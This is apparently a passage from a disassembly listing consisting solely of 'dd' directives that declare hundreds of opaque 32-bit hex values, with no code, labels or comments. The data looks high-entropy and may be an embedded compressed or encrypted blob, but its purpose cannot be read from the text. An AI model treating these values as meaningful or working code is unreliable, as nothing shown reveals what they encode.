		dd 0A4D0B64Eh, 0E185C5AAh, 4BB26CF1h, 0A64B318Ah, 0AF1AA058h
		dd 0E6D74A9Bh, 7A734972h, 70AFD395h, 650526F3h,	19E1BD33h
		dd 5E55D522h, 2549424Ah, 59A58909h, 0F6F99203h,	1571040h
		dd 0B1B51073h, 78B02524h, 31792025h, 6070E602h,	0A1119529h
		dd 71E461EFh, 75AD61EAh, 0F6812780h, 152F7D20h,	187079B7h
		dd 0EB76127h, 0BA9AC895h, 4020219Eh, 2989B7BEh,	7785F505h
		dd 8100B6E2h, 0AC8A597Eh, 6A00B616h, 804340EFh,	0B50EA1BEh
		dd 71855EC8h, 0EF4B0743h
		dd 8F01D48Dh, 0FB052F81h, 4AB0B34h, 82DF80B5h, 79E8D127h
		dd 0F0822ED5h, 618A89B7h, 0D2EF242Fh, 53002AF6h, 0D6AD9D2Bh
		dd 7A01C70Fh, 76093C4h,	0B16E8800h, 0A513FDB5h,	5368C14Bh
		dd 0CDC1E84h, 2164BD5Bh, 651711F8h, 0BB4B41BAh,	7536CAE9h
		dd 12CD8C38h, 8256FB95h, 8719D23h, 22BE4657h, 605E5F84h
		dd 0E3400220h, 0AFF0C2h, 5019EFF9h, 0DA5F2C62h,	870730Bh
		dd 2DDD06D7h, 0D6D20F8h, 0BF0F590Ch, 0A1A5CEC2h, 4273FE3Ah
		dd 0BBD29200h, 9D1AEFE4h, 7F1C601Ch, 0ACF0B84Ah, 5B979220h
		dd 0A92200F6h, 0A13BD485h, 98F0E100h, 0F1D87ACFh, 4B42FCE7h
		dd 609DD823h, 800904F1h, 6A84E151h, 26D6F6Eh, 9C7087B2h
		dd 0D13A579Eh, 135052FBh, 208500FDh, 8BB8270Dh,	0C14AB9DAh
		dd 9BEC35ADh, 80323980h, 0C5259501h, 9D84E42Eh,	0E1704AF3h
		dd 0FA8E3BC9h, 0EFBA492h, 2B214847h, 961D99BDh,	14A6FC5Eh
		dd 0ED87AE3h, 94481399h, 53212690h, 18558541h, 0E6C0C507h
		dd 7DA6E01Eh, 129CFC68h, 0E802CEF9h, 7B1725EBh,	89CD253Fh
		dd 0D66656ADh, 72461501h, 365B376Ch, 0AF1F342Eh, 160E7E08h
		dd 2EC69952h, 1C239B6Ah, 0B12FE700h, 729C552Bh,	8A05138Dh
		dd 36F5DDF8h, 9A2EB0ABh, 0B5311A45h, 82E149F5h,	0B82D2F03h
		dd 61A8647Dh, 19406504h, 0C2BB5093h, 710910D5h,	8D0970B3h
		dd 731F192Dh, 0F6F6D1EBh, 48BC6BE0h, 0A5201A39h, 412AD81Eh
		dd 1142200Dh, 0B8382FE3h, 8A048A96h, 0B86BA0EDh, 0ED0B3DE1h
		dd 5CCCA07Eh, 8705397Fh, 0F87EA222h, 23606BAFh,	908E011Bh
		dd 42710269h, 98D774CAh, 12C38195h, 1282ECA8h, 9821EF08h
		dd 2669E1FFh, 0D9074AB8h, 4FFCA228h, 0B0BFFB03h, 976E1480h
		dd 0AD69D694h, 182D035Dh, 0D808123Ah, 84B1F232h, 0DEBB03B3h
		dd 0E2F08984h, 51BC5C4Eh, 55B31051h, 9F189D60h,	0E404EB81h
		dd 5079D372h, 0FAD0EFFCh, 25223110h, 5DB3E25Fh,	12C072CDh
		dd 3E357B60h, 0EA8977BFh, 0D078A5D3h, 0CD2DEB98h, 91C87103h
		dd 8DB71211h, 16AC66ADh, 31CD128Ch, 4DB8F788h, 80EAAC3Dh
		dd 0C9831911h, 203CFD8Ah, 0EDBC0D4Dh, 61AFDF99h, 4F4430B0h
		dd 25318B04h, 0A079B812h, 698A0F56h, 0B40E1702h, 0E1FB502Bh
		dd 9B13E102h, 4C985728h, 3E25BB66h, 25407B40h, 78C015CDh
		dd 4A19AF08h, 29AECC90h, 1CB59D12h, 0E913C2F7h,	1A7BEF96h
		dd 0DC80B103h, 0F9F08FD1h, 7112CDBBh, 0E0F37353h, 0F8A5AA51h
		dd 9455BFC2h, 0CDF94BFAh, 0E2860098h, 2EFB89BCh, 0B301E36Eh
		dd 94F932D2h, 0A7FD20C4h, 92572249h, 0C04EB4FCh, 2EB99DF4h
		dd 48585680h, 4617E461h, 0E032B604h, 46BDB0Bh, 3175AA4Ch
		dd 4854E140h, 0AEB6564Ch, 47975B97h, 8A23F87Bh,	78945B96h
		dd 2505B537h, 0B70EC33h, 17F108AFh, 1A636803h, 59B7B9F2h
		dd 9C31032Fh, 0BDCDED19h, 241EB8A7h, 126B60B6h,	2DA614BFh
		dd 8B469126h, 0D75E8D61h, 41646D4h, 0FC05074Bh,	290AA582h
		dd 0F12F4471h, 0BF5000B1h, 5E89EA90h, 2FF721E5h, 0DD82E69Bh
		dd 14DEC695h, 58B71E13h, 31B8084Eh, 7E9ABB01h, 9B6B63D5h
		dd 0F7BFC55Ch, 89D80480h, 8ACBBDB5h, 0E7D91225h, 0D404AE5Ch
		dd 0A8EA7001h, 0B1A539AFh, 0F1CAB13Fh, 45382E02h, 912AB111h
		dd 21E91AC9h, 8A164317h, 591DD710h, 1A0B5DD2h, 766E8BD7h
		dd 0A28558C5h, 2C34FAB1h, 0D792892Ch, 0F100E021h, 0F3CC7A2Dh
		dd 5D9504B8h, 5C610917h, 3B7D4035h, 5F059F68h, 55DA7197h
		dd 0CD7701AFh, 2A314EE7h, 1D23936Bh, 705D9200h,	9628DB2h
		dd 6B8C89C7h, 0F5A0E271h, 730E9925h, 7992A513h,	92526775h
		dd 0EC3E36Bh, 565096F8h, 21E061A6h, 91B83BFh, 0C2920A66h
		dd 84E2FB1Fh, 0B866F380h, 0EF4ADE7Ah, 4DAD5B57h, 0C0A0E0A3h
		dd 0CAFE0E9Ch, 12869B4Ch, 8FE71EFDh, 0FD7FC54Ah, 18EEC28h
		dd 0F8B072A2h, 3EEF85B2h, 84F9CEC3h, 2D950102h,	7B614149h
		dd 6B1D97A0h, 88D4112Bh, 3CB8D8C4h, 0B905F04Fh,	122B0D45h
		dd 0B894A91Fh, 76520225h, 873788A7h, 0A793760h,	93BDCE95h
		dd 95C778D1h, 0F064F84Fh, 0E423A4C2h, 24C52535h, 0CAA8E773h
		dd 0FB189527h, 103AF083h, 56DDB249h, 25313B28h,	6E968BBDh
		dd 534DBB3Ch, 0BFB3859Fh, 88080E05h, 35BBDC80h,	4ADBB277h
		dd 78E257h, 9E853B38h, 97CFEC20h, 0B2758632h, 0C84C40FFh
		dd 8C1B4BA0h, 8C6E0F16h, 97B91223h, 0A5D3F6E5h,	0BD40A6ECh
		dd 2900E31Dh, 0E89AA5B5h, 8E0F9612h, 53576291h,	804F5828h
		dd 4FBAF14Dh, 7A4BF704h, 0E5819661h, 4A0A18C5h,	97F09AF6h
		dd 0A604EF20h, 0C6DC9F6Fh, 0ADC509B9h, 23366E2Ah, 50351814h
		dd 39970621h, 1AA5FC08h, 5431E2FFh, 125751F0h, 0ADD960h
		dd 85E0932Fh, 0B00027D5h, 6DE89007h, 4F8C8284h,	2517B231h
		dd 2505C661h, 0E65C810Fh, 2980F964h, 97C6CEF6h,	84D0FA7Bh
		dd 56BA05EFh, 49F58D29h, 9A5C5F98h, 80D3357Ah, 8518481Ah
		dd 0BC03AADDh, 8952712Ch, 6820C29Dh, 0B5EBE952h, 0E475DA62h
		dd 594B0096h, 3EBAEC1Dh, 0EB1780E4h, 0E6EC5F26h, 83088714h
		dd 33FE8C89h, 801A5969h, 0E4E547BFh, 0A9A10104h, 30FE0510h
		dd 0AF94DAEEh, 0F275F500h, 0CF57EC68h, 0E264B563h, 8112F920h
		dd 202F7DF0h, 8745BFCBh, 0E7CC535h, 7A6241ACh, 0BDFF6F2Dh
		dd 0B17112B2h, 83586CC9h, 0B8F5CC9Ah, 0B0CEF66h, 9261D547h
		dd 306D30F7h, 65CE900Bh, 0AA5FE1A9h, 1923A53Fh,	5F5EA300h
		dd 16B286DCh, 897DBD2Bh, 73CF0CBFh, 8304B83Fh, 0F9CB6827h
		dd 8120035Fh, 982D9FC7h, 0D2CFADF4h, 20A732B6h,	2D03C2F4h
		dd 0EF0481FCh, 602E3E37h, 8D8C9ACh, 8B25D1FFh, 11CD65DAh
		dd 0CCF15AC6h, 4E6A2D34h, 0E96E02h, 0B9CC1ED7h,	2A33A485h
		dd 98B965BDh, 20E520B8h, 32D390BDh, 46F0085h, 4557F24Ah
		dd 252586A9h, 13CB705Bh, 0BD501498h, 0FA8B053Ah, 26AE310Fh
		dd 0A1920E7Ah, 5061F82Fh, 0DCA1BEC6h, 9821709Dh, 0F6CF1243h
		dd 1B7F3035h, 3100281Eh, 11A7459Dh, 0B1EAB36Dh,	0D47B497Ch
		dd 1015C50h, 0F33FAFFEh, 4181BC95h, 10F05C0h, 0CE6A2AE9h
		dd 6F3710A1h, 0B1953105h, 0FE7AD03h, 0B27583C2h, 0B33AB1B3h
		dd 40F48BAFh, 71A7A648h, 41BF67E2h, 40688974h, 344CBB09h
		dd 0D3662027h, 0D238F887h, 62F65909h, 8D6A8522h, 92413DE9h
		dd 9E2515DDh, 0AFDA352Ah, 0A1C031DBh, 8A6FAB05h, 2CC8625Ah
		dd 7E7900EFh, 9B418801h, 8B05FFB1h, 942A4A4Ch, 511F0E80h
		dd 0EF89955Fh, 467E57FCh, 79BF2514h, 0A730029h,	37621D7Fh
		dd 0AB070113h, 0EFD9104h, 1725B09h, 47B7CF9Dh, 0E72B8069h
		dd 0BC04FF0Ch, 6ECB8053h, 74E2A6B0h, 0B58912E4h, 0E249AFCDh
		dd 7842DB6Ah, 9C5C88D6h, 18FE00D2h, 0B5014491h,	1C0E5CE1h
		dd 0B31246D5h, 222AE656h, 7D45A077h, 40F4822Fh,	308C4B38h
		dd 252442B5h, 7729C2FCh, 8E7F410h, 0C7502400h, 0BAA9C107h
		dd 4C3104C9h, 0AC8F0F60h, 36B292E1h, 80163B22h,	1830BCD7h
		dd 8FF6DCh, 5D259773h, 2A605B39h, 177F23Eh, 58D8AB80h
		dd 44737E0Ch, 75115F0Fh, 0E1FB36E0h, 2802350Ah,	7A13F7AEh
		dd 27645C5Bh, 6BA2D02h,	2E4E55h, 9C41238Ah, 0B32535B9h
		dd 74E5A216h, 9D5D350h,	0D56AB6F7h, 1631F4F1h, 0B57A49CBh
		dd 753A607Eh, 6889184Bh, 3CB12F10h, 4B470052h, 0EEE72D8Ch
		dd 0A8A04473h, 5B801925h, 0A3C84F2Bh, 11B30510h, 40A8D18Bh
		dd 8621A880h, 0E700626Dh
		dd 25FD735Dh, 944128Bh,	167CDE6h, 5BDAC083h, 0DE4048Dh
		dd 74E90B2Ch, 0B0FF6555h, 778B222Fh, 84464BDCh,	7F73FB71h
		dd 32AEBD4Dh, 0F2200A10h, 22147A8h, 0B2A0C26Bh,	845CA1DDh
		dd 0B7060D91h, 0F4AE9F7h, 0A109A998h, 0DD6F133Dh, 35BB7498h
		dd 44AA6D12h, 302A79E2h, 20F92741h, 9D0685E5h, 509B2B31h
		dd 4BFE26A5h, 21F4898Bh, 47404D6h, 120D05B6h, 0A7124AB6h
		dd 0E8E7B9F4h, 0DF5C0ED8h, 0D4209218h, 7AEB819Eh, 3C86E31Ah
		dd 0C042F552h, 2D4647FDh, 3B40CECDh, 0B10C084h,	0C40807D8h
		dd 18A93002h, 0A0AAB904h, 9D1409D2h, 84821A51h,	3CB92B01h
		dd 0A881A992h, 12B10784h, 1BFCCC02h, 96C0C5CDh,	12AF56FEh
		dd 0A2D98A27h, 0BFF85FCEh, 0B7BAE144h, 0EAC2A2EFh, 10087441h
		dd 29DB4A30h, 80519A4Ah, 0A6E2BDA1h, 467E0564h,	812B1AD5h
		dd 70FE624Eh, 244119A4h, 3199B32Bh, 5F57C6BFh, 2C2C262Eh
		dd 0EE26092Dh, 0E23A9501h, 4AD4ACF6h, 0D2D6CA3Eh, 0BFB867A9h
		dd 0E304DD7Dh, 34875A6Ah, 0EB8B5BDh, 12B80100h,	31E37D03h
		dd 23ED258Dh, 4111EA67h, 0A1850904h, 630F2D16h,	0C6C518D6h
		dd 925FAD1h, 48E76672h,	12209D89h, 82E1FF27h, 56B5E379h
		dd 155C5195h, 2ED8F3FCh, 67259A3Ch, 1099652Dh, 8C17FC5Eh
		dd 38099AE2h, 0FE820F13h, 0A1516922h, 9D21F446h, 0B2E2704h
		dd 0C307ED60h, 0BF9D66C0h, 0ACA07112h, 9D030C60h, 2B5909A1h
		dd 95F9855Fh, 844AED4Ch, 2891A997h, 38BE55D5h, 0E9E1824Bh
		dd 65765624h, 124DB229h, 20BE5090h, 0CB742AA7h,	3FB8800h
		dd 33920B34h, 2D5C79D3h, 0BAE91B52h, 0F26E2E90h, 2D169500h
		dd 0ACC91F59h, 445A5F0Bh, 0B932DD6Ah, 8A506D54h, 9CE697DEh
		dd 1479851Eh, 0AF2519C0h, 3AC2B03Ch, 0B204CC67h, 0AC207BCDh
		dd 6220D270h, 0A0586FB3h, 0BE2231D4h, 0C203E5B6h, 52562AC0h
		dd 40EAF8E9h, 0B038E912h, 0FAA94F01h, 0BF26C9BCh, 0A53B99BBh
		dd 5C35711Bh, 0AF015924h, 0B3A3900h, 0BFB58F68h, 418EFE1h
		dd 9D827CA9h, 45550B3Dh, 0D6D0A4FAh, 0EBD95F00h, 4BF17428h
		dd 7CB12E06h, 12A509CCh, 6EE8445Ch, 332613D6h, 920E40A7h
		dd 0BB3BCC40h, 3C6FC904h, 0DCDE8901h, 0EE52FA84h, 7B5F4A09h
		dd 0D672A425h, 46708764h, 0B19D3781h, 0B0964D92h, 28EBD9B8h
		dd 8D890905h, 553D629Dh, 1991EA35h, 0A841B780h,	0B82D63CCh
		dd 0C75189h, 0A3CDD368h, 0BD965744h, 9C671240h,	16DBE6E7h
		dd 1C2F6977h, 0B05B5292h, 0CE122CCBh, 0A38944BCh, 564E66Bh
		dd 0CC7D62B3h, 0A81C3DE2h, 0B6730297h, 325783EDh, 0D2038907h
		dd 0BF5002F8h, 6B5E647Ah, 951291D2h, 0CFBC2A3Dh, 295D9DA2h
		dd 0DEC1542Dh, 39D8E748h, 4DB3DAE9h, 604701D3h,	2A76413Ch
		dd 0C40DBF28h, 0ADF88B27h, 0AC98444h, 800FB13Bh, 0FE6B326Bh
		dd 22C377Fh, 0FF502C0Dh, 6754FC6Ah, 0A4040550h,	56EE1FABh
		dd 0F26261C7h, 0A9D91203h, 590BBAA4h, 0ECEB5410h, 304A5D18h
		dd 95F525DCh, 0CD9FD74Eh, 0CE914055h, 0D20A976Ah, 0CE668D8Eh
		dd 60AA9025h, 0A75103E6h, 2E43063Dh, 807252E8h,	4D25BDBEh
		dd 0C5DAC09Ch, 0DBA1F460h, 5467DCBBh, 0E2CDC2B7h, 0FFB57D3Eh
		dd 0C09F1B91h, 0EEFDF228h, 84733B09h, 0A641B52Ah, 0F8731A95h
		dd 42601625h, 0C5E4A95Bh, 0D8FF0C85h, 49046A75h, 603BE730h
		dd 0A70AC8AAh, 8F00CBF6h, 22F12DFEh, 7ED09Ch, 7AA2061Ah
		dd 5E307B3Dh, 61255072h, 4C7B665Fh, 173204BBh, 8256DF16h
		dd 0D8827B27h, 6045E78h, 1CB0162Eh, 0FCB94DCCh,	6A021738h
		dd 9244A973h, 631397B2h, 0A32CAF69h, 3EF412EEh,	1B8AB17Eh
		dd 97DC3C7h, 52C4E8A8h,	3548581Fh, 0BF66DA07h, 0CB5479F6h
		dd 355BC741h, 0B2A9A62Ah, 60B9301Bh, 0A6C45802h, 579CD966h
		dd 82546F1Ah, 5864ED68h, 50E1F8EAh, 7D176308h, 0BA66A5Bh
		dd 0F4DCB5F0h, 280BBF7Dh, 89014E82h, 0FE65C299h, 610055CEh
		dd 71EACB4Eh, 999727B7h, 0C1811DBh, 0FAF022Dh, 939CB53h
		dd 1D0AD940h, 0F54BFA9Fh, 497881F0h, 0A94BE268h, 4E8FB8F4h
		dd 157F284h, 2ADD052Bh,	0DF26AFEDh, 233014E2h, 194C9531h
		dd 56CF2895h, 0EFDA2FD6h, 8D00CF64h, 1FFB3433h,	373BBh
		dd 0A96A20ECh, 5DB4D9Dh, 653A0D25h, 2D3C1CFDh, 5145384Fh
		dd 433511EAh, 0EC281300h, 29622717h, 0A6F8B403h, 0C3D3B952h
		dd 2AF9815Dh, 0D780D050h, 4ABAC9Ah, 0B95FD9BFh,	0D3D3AC45h
		dd 14DE490Ah, 16C0DC4Bh, 0B45BAC0Eh, 1056AFBh, 0E0055411h
		dd 9C7850C7h, 0B375BC80h, 4A0006F2h, 25ECD6ACh,	13D24804h
		dd 0E9BD0189h, 515F25A3h, 0BF5E64D9h, 0D800FF7Bh, 481BF82Fh
		dd 0FABED7B3h, 98F34625h, 9C1202Ah, 759DC670h, 0E300EF37h
		dd 405D2238h, 666114E1h, 0BD16AD12h, 0F58AAC10h, 0F416C4AFh
		dd 62B552F8h, 0E039CD61h, 63A4687Ah, 8F84F19Fh,	610131BFh
		dd 6DC18B1Fh, 120B81Eh,	5FCCA4F3h, 2A67713Ah, 89D36E02h
		dd 275F50D0h, 5B7B32EDh, 0F840DAD0h, 0F912029Ch, 0C68B6050h
		dd 6F615249h, 51ADD388h, 4C203211h, 0C70B5F17h,	0BE5699AEh
		dd 13860DDEh, 407493DBh, 1CA5B509h, 0AC89909Fh,	0BD1F4A7Eh
		dd 133CBC26h, 0FEC44DDCh, 291AEE08h, 4E988088h,	62517BFCh
		dd 37D92300h, 8A4AAC1Eh, 0D88B31FFh, 0EEA9B55Eh, 741DB255h
		dd 0AD03D479h, 1B16548h, 894188F9h, 0BD94E9Dh, 6E515272h
		dd 73E90DB7h, 1879D867h, 33C9DC09h, 40DC5C30h, 43BA0BFCh
		dd 0C63A4207h, 0A890D598h, 49A50A1h, 1B635D57h,	62CD9635h
		dd 0F4F5BD27h, 0D074A5D5h, 0B01207DEh, 0C20AA7D8h, 0D159F6B2h
		dd 0C0F6000h, 7297A667h, 8B86047Eh, 4006E9C5h, 15AD506Ah
		dd 0F06F5945h, 0B5CF8004h, 0ACB2B9F8h, 49018C1Ah, 380C927Ah
		dd 0B7FCC05h, 0CA380BAEh, 193E71F4h, 695D8E72h,	0DE1EC215h
		dd 69C45C22h, 2C812D02h, 40E90C0Ch, 0D109FF25h,	715FF851h
		dd 537644CFh, 57E41505h, 138085FCh, 8FF8031Fh, 1E00C574h
		dd 17B1C380h, 12A4A792h, 0B6026A5Fh, 0DDB9E763h, 0FA1255FBh
		dd 78EEA781h, 0C12A3525h, 2B42ED97h, 15B21EB6h,	0A074CE30h
		dd 89130DABh, 86CE6A46h, 25EFB624h, 0E6DE175Eh,	0F5622511h
		dd 59A1435Bh, 116D5DF8h, 4A018D89h, 0B766F9A0h,	0BF570748h
		dd 0DF19A104h, 97FA5B0Ah, 0D6B6A0F5h, 0F0B5F890h, 1ED20D1h
		dd 468F0F25h, 0D1C309FEh, 8973610Bh, 54A35712h,	64082660h
		dd 169758B3h, 581A9B5Eh, 0A5070DFEh, 0AD6D734Dh, 0BC35D599h
		dd 7D801A91h, 7003D762h, 6AF2F80Ah, 0D64DFFh, 3CF4B485h
		dd 72066A87h, 2D696195h, 82FBDE7Ah, 5C9D3A43h, 5010C454h
		dd 114071ECh, 9BD90B0h,	70E6C1DFh, 0C468BE18h, 0B8693600h
		dd 52F57A2Ah, 0E73300E6h, 0E4373C84h, 1277BF71h, 0CC903E7Bh
		dd 4B92D14Bh, 4994D5DDh, 7120A6B0h, 2789950Bh, 8C648654h
		dd 0FF0BF922h, 1232F904h, 258010B0h, 0DC2F0D3h,	954F6677h
		dd 2B5F32C0h, 97EB68B5h, 0D18B135Ch, 0F09D36F5h, 0A9B2E14Bh
		dd 4B033D10h, 94802490h, 0D7BF250Fh, 3F96565Ah,	0C74F9940h
		dd 529D1BACh, 50121E1Eh, 6D52E995h, 0B1D075FFh,	0E902DE48h
		dd 0C869957h, 0BE1E7616h, 0E680AB3Ah, 14DB8D3Eh, 1D1B561h
		dd 82097EA8h, 5927661Ah, 91E64BEDh, 0F82ABB04h,	0BF870B65h
		dd 0A5830851h, 0D7FE2442h, 0B8435E1Bh, 4BEA0A7Eh, 6112BA83h
		dd 9409EDB6h, 3F3D1EFFh, 340A0604h, 310476ACh, 0AC2B9DBDh
		dd 6AFFB4E3h, 0F51A12ABh
		dd 51D6C6ECh, 0B90EEEC3h, 0A91708AEh, 1015BCC8h, 25C00DDBh
		dd 0CDF962DEh, 0D77DE36Fh, 0FE9F41F8h, 25ABBD48h, 2724E686h
		dd 2F37FCFAh, 0BDCB014h, 54C7A9EBh, 0E8F6277h, 4060D429h
		dd 0ED1E4629h, 23345B03h, 85BA184Bh, 94BA9C35h,	1D7FAA4Fh
		dd 0F1021723h, 574F5CA8h, 3FC0B74Dh, 78791BFh, 5BCFDF69h
		dd 8F54792Eh, 0FAF91112h, 0F745ED80h, 9453AC70h, 16C94A75h
		dd 0D70E607Fh, 802D3C7Fh, 44232A57h, 75901F6h, 0EEFFDBBFh
		dd 3E522E33h, 577AFBh, 5BFE15DCh, 25A06BEFh, 0C7E29585h
		dd 4C56B5E2h, 5EB59D5Eh, 0DACB5E00h, 9DDF0297h,	16E75110h
		dd 0C1620F00h, 0CA276FFEh, 31149741h, 3D957770h, 967C0B9Fh
		dd 0AD099D62h, 0BB014F5Bh, 4FF2A98h, 8B31302Eh,	0F4E259Dh
		dd 840087A6h, 63C6E795h, 7300C3FAh, 4FC9308Bh, 2F02D77h
		dd 0F86C4D94h, 4CDBE1FFh, 0C44CDF72h, 678AFC4Bh, 0C18DFA22h
		dd 0F8F265E1h, 3D6194F4h, 182D9531h, 0EE00A7D3h, 7663CC5h
		dd 8D149736h, 0BD52D644h, 5F11D4E6h, 530008E9h,	578145BFh
		dd 544B2B0Ah, 7E347B8Ah, 286FFFC3h, 0DAAD3F03h,	84166019h
		dd 0D9AC012Dh, 0B85B5284h, 0EDA65E6Ch, 9743A5E0h, 4F6DF501h
		dd 131D8D29h, 2124CC2Ah, 1685D68Ah, 4AC9A28Bh, 3403068Ch
		dd 0AC0DD19Dh, 0ABBBC09Dh, 4A610827h, 4E20EF50h, 9263Fh
		dd 4DC455E3h, 0C232C59Ch, 5B816102h, 0DFEB8EE8h, 8D0F90A2h
		dd 3DBFBE65h, 9EFE8023h, 0B7F3016Bh, 0E8CD9F6Ah, 9BFF61EEh
		dd 0F260BA47h, 680C026Ch, 0DFE559FBh, 0F10E59A0h, 0E5BDFEDDh
		dd 0EB590FDEh, 0B0814646h, 3928AAE4h, 9D259520h, 0DECCFC11h
		dd 0A6171646h, 9D620EF6h, 89DA8176h, 0EC7E6F85h, 7A906900h
		dd 78A3A503h, 8C2CFD2Eh, 2AE74000h, 4ACAE929h, 0E8BCE901h
		dd 6F533113h, 2E10DDB2h, 0D3D4DF74h, 51C4B7ADh,	5C7D392Dh
		dd 0E9C82EA9h, 0C0CB122Ch, 0C90AFC51h, 0DF6704F8h, 45BB9CEAh
		dd 0E27B1945h, 73892552h, 206C7976h, 3048098Bh,	0D5A8A597h
		dd 0AD0D1D34h, 24A7A86h, 5F6B3C88h, 0B7FFA46Fh,	8294FA4Bh
		dd 0F0D4F6BAh, 0E389D4h, 687D15D5h, 74EB9D4Ch, 7F65195h
		dd 9BF49EB3h, 76829DB7h, 0D841B529h, 8776996Ch,	90B9FF2Fh
		dd 2AC54487h, 0B40CE524h, 71A63009h, 0B75F2583h, 0D9C42F08h
		dd 3C17CB0Bh, 696198D8h, 51AE005Ah, 70C773BFh, 0B013775Ch
		dd 0B7818CB7h, 0D13AFD8Ah, 10277FABh, 9B905B57h, 98EF78D5h
		dd 0DC99B427h, 0B7F92812h, 32D028D3h, 0A6485F9Bh, 59D08B6h
		dd 29610E11h, 0B81F41E4h, 2200F5DDh, 0EB8101E5h, 1C35124Ch
		dd 8D36E267h, 47A2F31h,	0EF2A11AFh, 9BD3C2FCh, 76E78E6Fh
		dd 66F85600h, 4A1F0EBEh, 0EE02AC61h, 9078DA93h,	18611D4h
		dd 0FDC5F925h, 6E4ECB11h, 3B1B3C84h, 81A00471h,	88FB0964h
		dd 70BF2BA9h, 18679534h, 0EF04900Bh, 7A26406Dh,	0A9040CF9h
		dd 0E50A315Fh, 20D3A81h, 23C46F2Eh, 56BB0416h, 0A35080E2h
		dd 174B7C1Dh, 16BF6BCCh, 4EADFADh, 0DF8DB522h, 325F8013h
		dd 9A830C4h, 2BB4D215h,	73A58D7Bh, 0C25A50AEh, 842FB3E8h
		dd 0D6C4E95Bh, 8B020420h, 0D48C61D3h, 16326BE2h, 460493E4h
		dd 63FE0A75h, 79B8438Ah, 6D00C0D7h, 8E20302Ch, 38DDB3h
		dd 4D325E0Ch, 0EF807FCAh, 0D65BCB2Bh, 400D5627h, 41BDE674h
		dd 0E1AF603h, 0AB14C917h, 0DECA34D4h, 5F86B836h, 0B9A090B7h
		dd 9D25A60Dh, 3EA0EC94h, 81C02585h, 0B2BC70Eh, 0F4AD324Bh
		dd 48C18ACh, 0B261F503h, 696BEA14h, 5D251923h, 0C202AC12h
		dd 830211FDh, 16CDD5C2h, 0AC9FFFE1h, 1C80F7D4h,	8961DB81h
		dd 90557636h, 8518E1BAh, 0E0696D2Dh, 6A61BD46h,	0AB5B0390h
		dd 30CD6C8h, 59CEDE92h,	77D8F1FAh, 0C6BD83CFh, 8E1A9597h
		dd 8B70BA09h, 4078CF9Fh, 24CE3CAh, 0D5B46012h, 0C6D0004h
		dd 881E9ABFh, 0FA2C01Dh, 6904E73Eh, 0AB51627Fh,	896CD8EAh
		dd 4AE9853Ah, 186234E7h, 80010ED1h, 0E33A94F3h,	3B2500E3h
		dd 0BCE2070h, 0F7CC003Ch, 60FDE4F1h, 8803A2BCh,	0A6BF5DA8h
		dd 5B04B1F8h, 1F947B2Fh, 0EF4150F7h, 76CB0F1Fh,	0A1D6CA2Ah
		dd 73D4F4B6h, 2DC773BCh, 6960F3EFh, 0EBA02BC6h,	969701D1h
		dd 4035BF9Ch, 8B6D400h,	18324B2Dh, 60116F18h, 209E1CB5h
		dd 801E83C3h, 0A761F0h,	4063D40Dh, 8143CF37h, 0D949A504h
		dd 528204ADh, 51AD5EB3h, 53601223h, 40E720CAh, 564C612Bh
		dd 5BFB1759h, 0F5E992C1h, 31BECB54h, 3AFE8BF1h,	1DB27BE6h
		dd 3F1BD930h, 0EA02667Bh, 2C520B74h, 622DCB54h,	834E7566h
		dd 0E3B59Fh, 0E23BFFA1h, 5A094984h, 62B3858Eh, 0F3855F57h
		dd 40BF8A08h, 5C8A6587h, 0D3CFADE5h, 0A21F1B45h, 0C9F79452h
		dd 0A0FAB692h, 7CF4993h, 9D0B77A5h, 0C2560B55h,	2E0486EAh
		dd 9AA9B36h, 0CE61593Ch, 0EDFDC2C6h, 0FADDE9FAh, 4A2812A6h
		dd 0C5C9F23Eh, 13ABCEE9h, 0B8F7BDB1h, 3A4B0B95h, 0CD71D555h
		dd 3C18B80h, 0BF2B719Dh, 66824FDBh, 57A9F7BBh, 0E1B72325h
		dd 10F6DE59h, 0C37DBF40h, 0AD567DF3h, 99CC07Fh,	72B71549h
		dd 18BF068Bh, 8E73A326h, 0FE8E7725h, 420FF4A7h,	6454CEF3h
		dd 0F7AC820Fh, 86E1DFCBh, 64232F0Ch, 5C1C8E60h,	0B24B06CFh
		dd 6B044ECAh, 0A2AB11BDh, 0C9406468h, 0A89607BCh, 0E4FD187Fh
		dd 0A208B92Eh, 1C4790Dh, 1A3B97D9h, 32E0F011h, 4695B95h
		dd 292DBD9Dh, 8052DB2Ah, 0B41DF14Eh, 0F4F14CCh,	80021F8Bh
		dd 0D1FF82DBh, 7BE069CDh, 0DE88D8h, 8FECE0E4h, 0D98B8A09h
		dd 5FEB1497h, 0F4F5CC56h, 26A3F16h, 845788h, 73854E53h
		dd 0BE3693A5h, 18559F00h, 0EDEACF08h, 9EB5A46Fh, 0B0F74BAAh
		dd 0B7F0377Eh, 0C44EA4Ch, 7B780041h, 7F6036EDh,	4DFC7093h
		dd 83530FF4h, 91F31685h, 0C19D2202h, 950A7A12h,	20394A67h
		dd 0C380128Eh, 40AFE363h, 0CFE444FBh, 52CB689Dh, 94CCBD0Fh
		dd 9F1E7097h, 54D84AFBh, 8059B191h, 4D77EFD7h, 0E603A43Dh
		dd 4BA5DBADh, 0A861902Ah, 42C5126Ch, 3AAEE51Ch,	0EEB0DCF7h
		dd 0D3278029h, 31EE0582h, 2A1329ABh, 31C29620h,	0BED70BB7h
		dd 568A4Eh, 0D46AFAE3h,	5C43C9Bh, 0BC31AF97h, 31603BAEh
		dd 0CB7FE15Dh, 0CCD825FEh, 7B26457Dh, 0FF76CC8h, 0C62702Dh
		dd 6DC64942h, 605CD7E4h, 21C110C0h, 610CB304h, 0E207AB5Bh
		dd 40A86D8Dh, 9E0903BFh, 71E41804h, 0E4AFF856h,	69C4EDD4h
		dd 79B8F98Bh, 30655662h, 9F66CCDDh, 8167305h, 79A70C63h
		dd 0F93AB3D1h, 4DA7948h, 2DA99D23h, 449290B8h, 0EA8F3A3Fh
		dd 310B197h, 0D91BF585h, 2093237h, 60D2F061h, 0C82B0F24h
		dd 880FC381h, 0EC14C229h, 25F350D1h, 14D1CB0Ah,	9385BB01h
		dd 0E0FB592Bh, 58D7A0CDh, 0C1108F17h, 95010410h, 0AAC90729h
		dd 0DCDDB3D4h, 0BD23020Ah, 9A5C0D1Dh, 9410E64h,	1223D98Dh
		dd 0DEBF1050h, 0ADDD71BDh, 0F500F844h, 36F20339h, 970C1Fh
		dd 0ABBE2A94h, 0EB75848Eh, 299A1197h, 3780E912h, 3D92C5BCh
		dd 0FB878300h, 91865DE0h, 0F47EB068h, 0FE37A0A5h, 0F4D84C8Ah
		dd 62447041h, 28493ADh,	510CC00Ah, 0D2FED381h, 0F642B324h
